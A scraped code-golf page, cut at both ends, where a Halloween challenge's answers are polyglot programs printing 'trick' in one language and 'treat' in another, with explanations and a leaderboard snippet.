`N{}/iW-W-W-W-W-W-W-W-W-W-W-W-W-W-W-W-`, then `:` will be available. * I can push some empty lists and get more zeroes with existing variables. I can also get π, but that doesn't seem very useful unless I can cast it to an integer somehow, and `m` (for `m[`) and `i` are already taken. * In terms of array manipulation, I can: + Use a map with `%` or `f` + Use a fold with `*` + Do some setwise operations + Base conversion (this seems promising, but I don't know how I would get the base number) + Construct arrays by using `|`: `M1|2|3|` [Answer] # [Haskell](https://www.haskell.org/), score 13, 86 bytes ``` pi/pi sum[sum[]^sum[],sum[]^sum[]] 3 4 5 6 7 8 9 length"eeeeeeeeee" 11 2+2+2+2+2+2 0xD ``` [Try it online!](https://tio.run/##fc5NCsIwEAXg/TvFUNzZorH/C3duPUGJEDDYYBODrSCIZ48dlVIQzJCPzGQxr1X9WXddeCTBm5U36G@24SsPb@PZWyJFhhwFSlSo0Wl3GtpITyeCENgsp8L6vgvJE1YZR1s6Xgjkr8YNtKDPNrLK77@zBkT/tsfjf8pkTM4UTMlUTM38puKpEOwsG7djPBle "Haskell – Try It Online") Thanks to Ørjan Johansen for finding a way to fix my letter overlap while preserving the score of thirteen. (Also for going out of their way to notify me about this while this answer was deleted.) `pi/pi` is `1.0`. `sum[]` evaluates to `0`, `0^0` to `1` and `sum[1,1]` to `2`. `3` to `9` just decode themselves. `length"eeeeeeeeee"` yields the length of the string, which is `10`. `2+2+2+2+2+2` is `12`. `0xD` is hexadecimal for `13`. ]
[Question] [ Since Halloween is coming up I thought I might start a fun little code golf challenge! The challenge is quite simple. You have to write a program that outputs either `trick` or `treat`. "The twist?" you may ask. Well let me explain: Your program has to do the following: * Be compilable/runnable in two different languages. Different versions of the same language don't count. * When you run the program in one language it should output `trick` and the other should output `treat`. The case is irrelevant and padding the string with whitespace characters are allowed (see examples). * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the solution with the fewest bytes wins. A few explanations: **Valid outputs** (Just for the words not for running the code in the two languages. Also adding quotes to signalize the beginning or end of the output. Do not include them in your solution!): ``` "trick" "Treat" " TReAt" " tRICk " ``` **Invalid outputs**: ``` "tri ck" "tr eat" "trck" ``` I'm interested to see what you can come up with! Happy Golfing! I'd like to note that this is my first challenge so if you have suggestions on this question please leave them in the form of a comment. ## Leaderboards Here is a Stack Snippet to generate both a regular leaderboard and an overview of winners by language. To make sure that your answer shows up, please start your answer with a headline, using the following Markdown template: ``` # Language Name, N bytes ``` where `N` is the size of your submission. If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance: ``` # Ruby, <s>104</s> <s>101</s> 96 bytes ``` If there you want to include multiple numbers in your header (e.g. because your score is the sum of two files or you want to list interpreter flag penalties separately), make sure that the actual score is the *last* number in the header: ``` # Perl, 43 + 2 (-p flag) = 45 bytes ``` You can also make the language name a link which will then show up in the leaderboard snippet: ``` # [><>](http://esolangs.org/wiki/Fish), 121 bytes ``` ``` var QUESTION_ID=97472,OVERRIDE_USER=23417;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=o.replace(TAGS_REG,"")),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i,TAGS_REG = /(<([^>]+)>)/ig; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:400px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] ## Python / Windows Batch, 25 bytes ``` print"trick"#||echo.treat ``` Everything after the # is interpreted as a comment by python, while the || is an OR in batch, saying that as the previous command failed, execute this one. I also like the use of an OR as it almost reads "trick or treat" :) [Answer] # Whitespace / Starry, 135 bytes Here's to a clear night sky on Halloween! ``` + + + + + + * + +* + * + * + + +* + +* + . + . + +* + +* . . . ``` *Note that whitespace on empty lines may not be preserved if you copy from the above code* Whitespace outputs "TRICK". [Try it Online!](http://whitespace.tryitonline.net/#code=ICAgCSAJICAJIAogICsgKwkgKwkgCSsgKyAKCSsKICAJCiogKyAgICsqIAkgICsJICAJKgoJCiAgICsgIAkqICAJIAkJCiAgIAkgKyArICAJCQoJCiArKiArCQogIAoKCiArKiArIC4gICsgLiAgICsgICAgICArKiArICAgKyogLiAuIC4K) Starry outputs "TREAT". [Try it Online!](http://starry.tryitonline.net/#code=ICAgCSAJICAJIAogICsgKwkgKwkgCSsgKyAKCSsKICAJCiogKyAgICsqIAkgICsJICAJKgoJCiAgICsgIAkqICAJIAkJCiAgIAkgKyArICAJCQoJCiArKiArCQogIAoKCiArKiArIC4gICsgLiAgICsgICAgICArKiArICAgKyogLiAuIC4K) ## Explanation ### Starry Starry ignores all tabs and new lines so the code it reads is the following ``` + + + + + + * + +* + * + * + + +* + +* + . + . + +* + +* . . . ``` Bytewise, pushing values is very expensive compared to stack and arithmetic operations in Starry. The code starts by pushing and duplicating 4 and the performs a number of operations on it and with 2 and 1 pushed later on produces all of the required ASCII values. **Annotated Code** ``` Stack (after op) Code Operation 4 + Push 4 4 4 4 4 4 4 + + + + + Duplicate top of stack 5 times 4 4 4 4 16 * Multiply top two items 4 4 4 4 16 16 + Duplicate top of stack 4 4 4 16 4 16 + Rotate top three items on stack right 4 4 4 16 20 * Add top two items 4 4 20 4 16 + Rotate... 4 4 20 64 * Multiply... 4 64 4 20 + Rotate... 4 64 80 * Multiply... 4 64 80 2 + Push 2 4 64 80 2 2 + Duplicate... 4 64 2 80 2 + Rotate... 4 64 2 82 * Add... 4 64 2 82 82 + Duplicate... 4 64 82 2 82 + Rotate... 4 64 82 84 * Add... 4 64 82 84 84 + Rotate... 4 64 82 84 . Pop and print as character (T) 4 64 84 82 + Swap top two items on stack 4 64 84 . Pop and print... (R) 84 4 64 + Rotate... 84 4 64 1 + Push 1 84 4 65 * Add... 84 4 65 65 + Duplicate... 84 65 4 65 + Rotate... 84 65 69 * Add... 84 65 . Pop and print... (E) 84 . Pop and print... (A) . Pop and print... (T) ``` ### Whitespace As the name may suggest, Whitespace only parses the three whitespace characters—space, tab, and newline. Unlike the Starry, the Whitespace simply pushes the ASCII values of `T`, `R`, `I`, `C`, and `K` and the prints them. **Annotated Code** ``` <Space><Space><Space><Tab><Space><Tab><Space><Space><Tab><Space><LF> Push the ASCII value of R <Space><Space><Space><Tab><Space><Tab><Space><Tab><Space><Space><LF> Push the ASCII value of T <Tab><LF><Space><Space> Pop and print the T <Tab><LF><Space><Space> Pop and print the R <Space><Space><Space><Tab><Space><Space><Tab><Space><Space><Tab><LF> Push the ASCII value of I <Tab><LF><Space><Space> Pop and print the I <Space><Space><Space><Tab><Space><Space><Tab><Space><Tab><Tab><LF> Push the ASCII value of K <Space><Space><Space><Tab><Space><Space><Space><Space><Tab><Tab><LF> Push the ASCII value of C <Tab><LF><Space><Space> Pop and print the C <Tab><LF><Space><Space> Pop and print the K <LF><LF><LF> Terminate the program. The following line is not run. <Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><Space><LF> ``` The interweaving of pushes and prints was chosen based solely on aesthetic reasons as it does not affect the byte count. [Answer] # [2sable](http://github.com/Adriandmen/2sable) / [pl](https://github.com/quartata/pl-lang), 8 bytes ``` 0000000: 74 72 65 61 74 93 d0 cb treat... ``` Both programs have been tested locally with the same 8 byte file, so this is a proper polyglot. ### 2sable: trick This is the program in [code page 1252](https://en.wikipedia.org/wiki/Windows-1252#Code_page_layout). ``` treat“ÐË ``` [Try it online!](http://2sable.tryitonline.net/#code=dHJlYXTigJzDkMOL&input=) ### pl: treat This is the program in [code page 437](https://en.wikipedia.org/wiki/Code_page_437#Characters). ``` treatô╨╦ ``` [Try it online!](http://pl.tryitonline.net/#code=dHJlYXTDtOKVqOKVpg&input=) ## How it works ### 2sable: trick ``` t Square root. Errors since there is no input. The exception is caught, the stack left unaltered, and the interpreter pretends nothing happened. r Reverse stack. Reversed empty stack is still empty stack. ;( e Compute nCr. Errors since there is no input. a Alphanumeric test. Errors since there is no input. t Square root. Errors since there is no input. “ Begin a lowercase string literal. Ð Excluding ‘, ’, “, and ”, Ð is the 71st non-ASCII character in CP1252. Ë Excluding ‘, ’, “, and ”, Ë is the 66th non-ASCII character in CP1252. (implicit) End string literal. Both characters together fetch the dictionary word at index 71 * 100 + 66 = 7166, which is 'trick'. ``` ### pl: treat ``` treat Bareword; push the string "treat" on the stack. ô Unimplemented. Does nothing. ╨ Flatten the stack. This doesn't affect the output. ╦ Unimplemented. Does nothing. ``` [Answer] # Linux ELF x86 / DOS .COM file, 73 bytes ``` 00000000 7f 45 4c 46 01 00 00 00 1a 00 00 00 1a 00 43 05 |.ELF..........C.| 00000010 02 00 03 00 1a 00 43 05 1a 00 43 05 04 00 00 00 |......C...C.....| 00000020 eb 0c b4 09 ba 41 01 cd 21 c3 20 00 01 00 b2 05 |.....A..!. .....| 00000030 b9 3b 00 43 05 cd 80 2c 04 cd 80 74 72 69 63 6b |.;.C...,...trick| 00000040 00 74 72 65 61 74 24 eb d9 |.treat$..| 00000049 ``` NASM source: ``` ORG 0x05430000 BITS 32 ; ; ELF HEADER -- PROGRAM HEADER ; ELF HEADER ; +-------------+ DB 0x7f,'E','L','F' ; | magic | +--------------------+ ; | | | | ; PROGRAM HEADERS ; | | | | DD 1 ; |*class 32b | -- | type: PT_LOAD | ; |*data none | | | ; |*version 0 | | | ; |*ABI SysV | | | DD 0x01a ; offset = vaddr & (PAGE_SIZE-1); |*ABI vers | -- | offset | ; | | | | entry: DD 0x0543001a ; |*PADx7 | -- | vaddr = 0x0543001a | DW 2 ; | ET_EXEC | -- |*paddr LO | DW 3 ; | EM_386 | -- |*paddr HI | DD 0x0543001a ; |*version | -- | filesz | ; inc ebx ; STDOUT_FILENO ; | | | | ; mov eax, 4 ; SYS_WRITE ; | | | | DD 0x0543001a ; | entry point | -- | memsz | DD 4 ; | ph offset | -- | flags: RX | ; | | | | jmp short skip ; |*sh offset | -- |*align | BITS 16 ; | | | | treat: mov ah, 9 ; | | -- | | mov dx, trick + 0x100 + 6 ; |*flags ______| | | int 0x21 ; |______/ | +--------------------+ ret ; |*ehsize | BITS 32 ; | | DW 32 ; | phentsize | DW 1 ; | phnum | skip: ; | | mov dl, 5 ; strlen("trick") ; |*shentsize | mov ecx, trick ; |*shnum | ; |*shstrndx | ; +-------------+ int 0x80 sub al, 4 ; SYS_EXIT int 0x80 trick: DB "trick/treat$" BITS 16 jmp short treat ``` This uses the fact that the ELF header starts with 7F 45, which, interpreted as x86 code, is a jump. The relevant parts for the DOS .COM: ``` -u100 l2 07D2:0100 7F45 JG 0147 -u147 l2 07D2:0147 EBD9 JMP 0122 -u122 l8 07D2:0122 B409 MOV AH,09 07D2:0124 BA4101 MOV DX,0141 07D2:0127 CD21 INT 21 07D2:0129 C3 RET -d141 l6 07D2:0140 74 72 65 61 74 24 - treat$ ``` [Answer] # [evil](http://esolangs.org/wiki/Evil) / [ZOMBIE](http://www.dangermouse.net/esoteric/zombie.html), 109 bytes Another spooky answer ! ``` xf is a vampire summon task f say "trick" stumble say "jzuueeueeawuuwzaeeaeeaeawuuuuwzuueeueeaw" animate bind ``` The `ZOMBIE` code defines a `vampire` named `xf` whose only task `f` is activated at instanciation and will output `trick` once before being deactivated by `stumble`. The other `say` call is dead code (how appropriate !) for `ZOMBIE`, but contains most of the `evil` code. For `evil`, the `xf` name is a call to jump to the next `j`, which precedes the `zuueeueeawuuwzaeeaeeaeawuuuuwzuueeueeaw` zombie moan that crafts and output `treat`. The code following is either executed (lowercase letters) or ignored but since there's no `w` no output should be produced. [Answer] ## Python / Perl, 28 bytes ``` print([]and"trick"or"treat") ``` ## Explanation Since `[]` is an ArrayRef in Perl, it's truthy, but it's an empty array in Python, therefore falsy. [Answer] ## PHP / JavaScript, ~~32~~ 30 bytes Displays `trick` in PHP and `treat` in JS. ``` NaN?die(trick):alert('treat'); ``` The unknown `NaN` constant is implicitly converted to a string by PHP, making it truthy. It's falsy in JS. ### Alternative method, 38 bytes ``` (1?0:1?0:1)?die(trick):alert('treat'); ``` The ternary operator is right-associative in JS: ``` 1 ? 0 : 1 ? 0 : 1 is parsed as: 1 ? 0 : (1 ? 0 : 1) which equals: 0 ``` And left-associative in PHP: ``` 1 ? 0 : 1 ? 0 : 1 is parsed as: (1 ? 0 : 1) ? 0 : 1 which equals: 1 ``` [Answer] # HTML / HTML+JavaScript, 53 bytes ``` treat<script>document.body.innerHTML='trick'</script> ``` `treat` is the document´s text content in HTML. If JS is enabled, it will replace the HTML content with `trick`. [Answer] # C / Java 7, ~~165~~ ~~155~~ ~~128~~ ~~123~~ ~~122~~ ~~120~~ 103 bytes ``` //\ class a{public static void main(String[] s){System.out.print("treat"/* main(){{puts("trick"/**/);}} ``` //\ makes the next line also a comment in C but is a regular one line comment in Java, so you can make C ignore code meant for Java and by adding /\* in the second line you can make a comment for Java that is parsed as code by C. Edit: I improved it a little bit by reorganizing the lines and comments. Edit2: I did some more reorganizing and shortened it even more. Edit3: I added corrections suggested by BrainStone to remove 5 bytes, thanks :) Edit4: One newline turned out to be unnecessary so I removed it. Edit5: I changed printf to puts. Edit6: I added a correction suggested by Ray Hamel. [Answer] # Jolf + Chaîne, 12 bytes Because Chaîne cannot accept a file to upload with an encoding, I assume UTF-8. (If I could assume ISO-8859-7, this would be 11 bytes, but that would be unfair.) ``` trick«treat ``` In Chaîne, `«` begins a comment, and the rest is printed verbatim. In Jolf, `«` begins a string. Thankfully, `trick` does nothing harmful (`10; range(input, parseInt(input))` basically), and `treat` is printed. [Try Jolf here!](http://conorobrien-foxx.github.io/Jolf/#code=dHJpY2vCq3RyZWF0) [Try Chaîne here!](http://conorobrien-foxx.github.io/Cha-ne/?code%3Dtrick%C2%ABtreat%7C%7Cinput%3D) They both work on my browser (firefox, latest version), but the same cannot be said for other browsers. [Answer] # [Cubix](https://github.com/ETHproductions/cubix/) / [Hexagony](https://github.com/m-ender/hexagony), 31 bytes ``` t;./e;_a]"kcirt">o?@;=v=./r;\;/ ``` [Trick it out!](http://ethproductions.github.io/cubix/?code=dDsuL2U7X2FdImtjaXJ0Ij5vP0A7PXY9Li9yO1w7Lw==) [Treat it online!](http://hexagony.tryitonline.net/#code=dDsuL2U7X2FdImtjaXJ0Ij5vP0A7PXY9Li9yO1w7Lw&input=) *Halloween themed*? Note the horrifying facts about these languages and the code: 1. If and even if you do nothing (just put no-ops), you can *never* get out of the loop that is determined to be running forever... 2. And being stuck in the middle of a 3D and a 2D programming language (Oh agony...) 3. Inside the dimensions, you'll gradually lost where you are... where you were... 4. And there is a `=v=` smiling at you which acts at no-ops in the code Let's dig into the mystery of the hidden 31-bytes communication protocol of dimensions and terror... ## trick When the code folds or unfolds itself... That is `cubified`, the layout looks like this: ``` t ; . / e ; _ a ] " k c i r t " > o ? @ ; = v = . / r ; \ ; / . . . . . . . . . . . . . . . . . . . . . . . ``` And the main part is this part in the middle: ``` " k c i r t " > o ? @ . . . . . . . . \ ; / . . ``` It pushes `k,c,i,r,t` onto the stack and `o` outputs and `;` pops within a loop bounded by reflectors and `?` which guides you depending on the value on the top of the stack... ## treat All of a sudden, the code transforms from a cube to a Hexagon. (Imagine that) ``` t ; . / e ; _ a ] " k c i r t " > o ? @ ; = v = . / r ; \ ; / . . . . . . ``` And the main part is this part: ``` t ; . / e ; _ a ] . . . . . . . . . . @ ; = . . . / r ; . . . . . . . . . ``` It runs `t;` which prints `t` and hits the mirror and turns its direction to NW starting from the SE corner and hits another mirror. This runs `r;` and wraps to `e;_a` and the `]` brings it to the Instruction Pointer 1 which starts at corner NE pointing SE and hits `/` which reflects horizontally to `;` then `t`. Then it wraps to `=`, `;`, and `@` ends the mess. So... What is `_` doing there? *Why* is it inside the `t` `e` `a` (the first 3 letters in the code)? Here comes the end of the story - it does *nothing*. Does it sound like the end of a horror story? [Answer] # [#hell](http://esolangs.org/wiki/HashHell) / [Agony](http://esolangs.org/wiki/Agony), 43 bytes So much `><>` everywhere, what is this, an April Fools challenge? Here's an answer with appropriately themed languages. ``` --<.<.<.<.<.$ io.write("trick")--+<~}~@+{+< ``` `#hell` is a subset of `LUA` which fortunately accepts `io.write` output calls. We use `LUA`'s `--` comments so that it only executes this fragment. `Agony` is a `Brainfuck` derivative, which has the particularity to have its code and working memory on the same tape. The first line only prints 5 characters (10 cells) from the end of the code segment, where I encoded `treat` as `Agony` commands. `LUA`'s comment opening `--` modifies the value of a cell which isn't used. [Answer] ## SQL / Javascript, 54 bytes ``` select('trick') --a;function select(){alert("treat")} ``` Same approach as with my [QB/JS answer](https://codegolf.stackexchange.com/questions/97472/trick-or-treat-polyglot/97509#97509): First line has the SQL statement, the second line has a 'comment' for SQL and a NOP for JS. Then, we define SQL's `select` statement as a valid JS function. [Answer] # /Brainf..k/, 143 + 3 = 146 bytes This answer requires the `-A` flag to output in ASCII for Brain-Flak and luckily Brainfuck doesn't care about that flag so it doesn't affect the output in Brainfuck. ``` (((((()(()()()){})({}){}){}){})+++++++[<+++<(((()()()())((((({}){}){}){}){}()))[][][][]())>>-])<[<++++>-]<.--.---------.------.>++[<++++>-]<.>> ``` [Try it Online!](http://brain-flak.tryitonline.net/#code=KCgoKCgoKSgoKSgpKCkpe30pKHt9KXt9KXt9KXt9KSsrKysrKytbPCsrKzwoKCgoKSgpKCkoKSkoKCgoKHt9KXt9KXt9KXt9KXt9KCkpKVtdW11bXVtdKCkpPj4tXSk8WzwrKysrPi1dPC4tLS4tLS0tLS0tLS0uLS0tLS0tLj4rK1s8KysrKz4tXTwuPj4&args=LUE) [Try it Online!](http://brainfuck.tryitonline.net/#code=KCgoKCgoKSgoKSgpKCkpe30pKHt9KXt9KXt9KXt9KSsrKysrKytbPCsrKzwoKCgoKSgpKCkoKSkoKCgoKHt9KXt9KXt9KXt9KXt9KCkpKVtdW11bXVtdKCkpPj4tXSk8WzwrKysrPi1dPC4tLS4tLS0tLS0tLS0uLS0tLS0tLj4rK1s8KysrKz4tXTwuPj4&args=LUE) ## How this works The only overlap between the syntax of Brain-Flak and Brainfuck are the characters `<>[]`. For brain-flak this mostly means the program has to ensure an even number of stack switches `<>`. And for Brainfuck this means we need to avoid infinite loops caused by use of the `[]` monad. The Brain-Flak code is as follows: ``` (((((()(()()()){})({}){}){}){})[<<(((()()()())((((({}){}){}){}){}()))[][][][]())>>])<[<>]<>[<>]<>> ``` Aside from the `[<<...>>]` bit in the middle and the `<[<>]<>[<>]<>>` at the end this code is pretty par for the course as far as Brain-Flak programs go. The negative around the zero (`[<...>]`) is there to create a loop for Brainfuck. The inner `<...>` is used to move the Brainfuck to an empty cell before it encounters the `[][][][]` which would loop infinitely otherwise. The Brainfuck code is as follows: ``` +++++++[<+++<[][][][]>>-]<[<++++>-]<.--.---------.------.>++[<++++>-]<.>> ``` Aside from the aforementioned bits this is also a pretty standard program so I will spare you the details. [Answer] # [><>](https://esolangs.org/wiki/Fish) / [Fishing](https://esolangs.org/wiki/Fishing), 38 bytes ``` _"kcirt"ooooo; [+vCCCCCCCC `treat`N ``` For the sake of making a `><>` / `Fishing` polyglot. It's my first piece of `Fishing` code after having played for a long time with `><>`. My first impression : as in nature, the fisherman has less physical capabilities than its pray but makes up for it with its tool ! Here the code is extremely simple : `><>` will only execute the first line, where `_` is a vertical mirror and has no effect since the fish starts swimming horizontally. It just pushes `trick` on the stack then print it before stopping. For `Fishing`, the `_` instructs to go down. The fisherman will follow the deck that is the second line while catching the characters of the third line. These will push `treat` on the tape then print it, stopping as it reaches the end of the deck. If erroring out is allowed, you could go down to 35 bytes with the following code which will throw an error when run as `><>` once the `trick` is printed off the stack : ``` _"kcirt">o< [+vCCCCCCCC `treat`N ``` --- You should also check my themed languages answers, [#hell / Agony](https://codegolf.stackexchange.com/questions/97472/trick-or-treat-polyglot/97533#97533) and [evil / ZOMBIE](https://codegolf.stackexchange.com/questions/97472/trick-or-treat-polyglot/97542#97542) ! [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E)/[Actually](https://github.com/Mego/Seriously), 10 bytes ``` "trick"’®Â ``` **Explanation** **05AB1E** ``` "trick" # push the string "trick" ’®Â # push the string "treat" # implicitly print top of stack (treat) ``` [Try it online](http://05ab1e.tryitonline.net/#code=InRyaWNrIuKAmcKuw4I&input=) **Actually** ``` "trick" # push the string "trick" ’®Â # not recognized commands (ignored) # implicit print (trick) ``` [Try it online](http://actually.tryitonline.net/#code=InRyaWNrIuKAmcKuw4I&input=) [Answer] # [Haskell](https://www.haskell.org/) / [Standard ML](https://en.wikipedia.org/wiki/Standard_ML), 56 bytes ``` fun putStr x=print"treat";val main=();main=putStr"trick" ``` **Haskell view** The semicolons allow multiple declarations in one line and act like linebreaks, so we get ``` fun putStr x=print"treat" val main=() main=putStr"trick" ``` A Haskell program is executed by calling the `main` function, so in the last row `putStr"trick"` is executed which just prints `trick`. The first two rows are interpreted as function declarations following the pattern `<functionName> <argumentName1> ... <argumentNameN> = <functionBody>`. So in the first row a function named `fun` is declared which takes two arguments named `putStr` and `x` and the function body `print"treat"`. This is a valid Haskell function with type `fun :: t -> t1 -> IO ()`, meaning it takes an argument of an arbitrary type `t` and a second one of some type `t1` an then returns an IO-action. The types `t` and `t1` don't matter as the arguments aren't used in the function body. The IO-action type results from `print"treat"`, which prints `"treat"` to StdOut (notice the `"`, that's why `putStr` instead of `print` is used in `main`). However as it's only a function declaration, nothing is actually printed as `fun` is not called in `main`. The same happens in the second line `val main=();`, a function `val` is declared which takes an arbitrary argument named `main` and returns *unit*, the empty tuple `()`. It's type is `val :: t -> ()` (Both the value and the type of *unit* are denoted with `()`). [Try it on Ideone.](http://ideone.com/MYQF7C) --- **Standard ML view** [Standard ML](https://en.wikipedia.org/wiki/Standard_ML) is a primarily functional language with a syntax related to, but not the same as Haskell. In particular, function declarations are prefixed with the keyword `fun` if they take any arguments, and the keyword `val` if they don't. Also it's possible to have an expression at top level (meaning not inside any declaration) which is executed when the program is run. (In Haskell writing `1+2` outside a declaration throws a `naked expression at top level`-error). Finally the symbol for testing equality is `=` instead of `==` in Haskell. (There are many more differences, but those are the only ones that matter for this program.) So SML sees two declarations ``` fun putStr x=print"treat"; val main=(); ``` followed by an expression ``` main=putStr"trick" ``` which is then evaluated. To determine whether `main` equals `putStr"trick"`, both sides have to be evaluated and both must have the same type, as SML (as well as Haskell) is statically typed. Let us first have a look at the right side: `putStr` is not a library function in SML, but we declared a function named `putStr` in the line `fun putStr x=print"treat";` - it takes an argument `x` (this is the string `"trick"` in our case) and immediately forgets it again, as it does not occur in the function body. Then the body `print"treat"` is executed which prints `treat` (without enclosing `"`, SML's `print` is different from Haskell's `print`). `print` has the type `string -> unit`, so `putStr` has the type `a -> unit` and therefore `putStr"trick"` has just type `unit`. In order to be well-typed, `main` must have type `unit` too. The value for *unit* is in SML the same as in Haskell `()`, so we declare `val main=();` and everything is well-typed. [Try it on codingground.](http://www.tutorialspoint.com/execute_smlnj_online.php?PID=0Bw_CjBb95KQMUVp1b0JYWWRRNmc) Note: The output in the console is ``` val putStr = fn : 'a -> unit val main = () : unit treatval it = true : bool ``` because in [SML\NJ](http://smlnj.org/) the value and type of every statement is displayed after each declaration. So first the types of `putStr` and `main` are shown, then the expressions gets evaluated causing `treat` to be printed, then the value of the expression (`true` as both sides of `=` are `()`) is bound to the implicit result variable `it` which is then also displayed. [Answer] # Ruby / C, ~~64~~ ~~62~~ ~~51~~ 48 bytes ``` #define tap main() tap{puts(0?"trick":"treat");} ``` ### What Ruby sees: ``` tap{puts(0?"trick":"treat");} ``` The `tap` method takes a block and executes it once. It's a short identifier that we can create a `#define` macro for in C. It also allows us to put a braces-enclosed block in the shared code, even though Ruby doesn't allow `{}`s in most contexts. The only falsy values in Ruby are `false` and `nil`. In particular, 0 is truthy. Thus, Ruby will print "trick." ### What C sees (after the pre-processor): ``` main(){puts(0?"trick":"treat");} ``` 0 is falsy in C, so C will print "treat." 2 bytes saved thanks to daniero. [Answer] ## QBasic / JavaScript, ~~51~~ 44 bytes ``` '';PRINT=a=>{alert("Treat")} PRINT("Trick") ``` In QBasic, it prints the second line and doesn't execute the first line because it's believed to be a comment (thank you '). In JS, it calls the function PRINT, which is defined on the first line, right after the JS NOP `'';`. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly) / [05AB1E](https://github.com/Adriandmen/05AB1E), 14 bytes ``` 0000000: FE 22 74 52 69 63 6B 22 3F 37 29 FB ED 35 ."tRick"?7)..5 ``` A fun one using Jelly's string compression. **Jelly: treat** ``` “"tRick"?7)»ḣ5 ``` [Try it online!](https://tio.run/##y0rNyan8//9RwxylkqDM5Gwle3PNQ7sf7lhs@v8/AA "Jelly – Try It Online") **05AB1E: trick** ``` þ"tRick"?7)ûí5 ``` [Try it online!](https://tio.run/##MzBNTDJM/f//8D6lkqDM5Gwle3PNw7sPrzX9/x8A "05AB1E – Try It Online") **How it works** In Jelly `“"tRick"?7)»` is a compressed string that returns `'Treatment dormy/ Orly awry'`. `ḣ5` takes the first five characters, printing `Treat` In 05AB1E `þ` doesn't affect the program. `"tRick"` is a literal string. `?` prints this string then the rest of the program (`7)ûí5`) doesn't have any effect either. I used 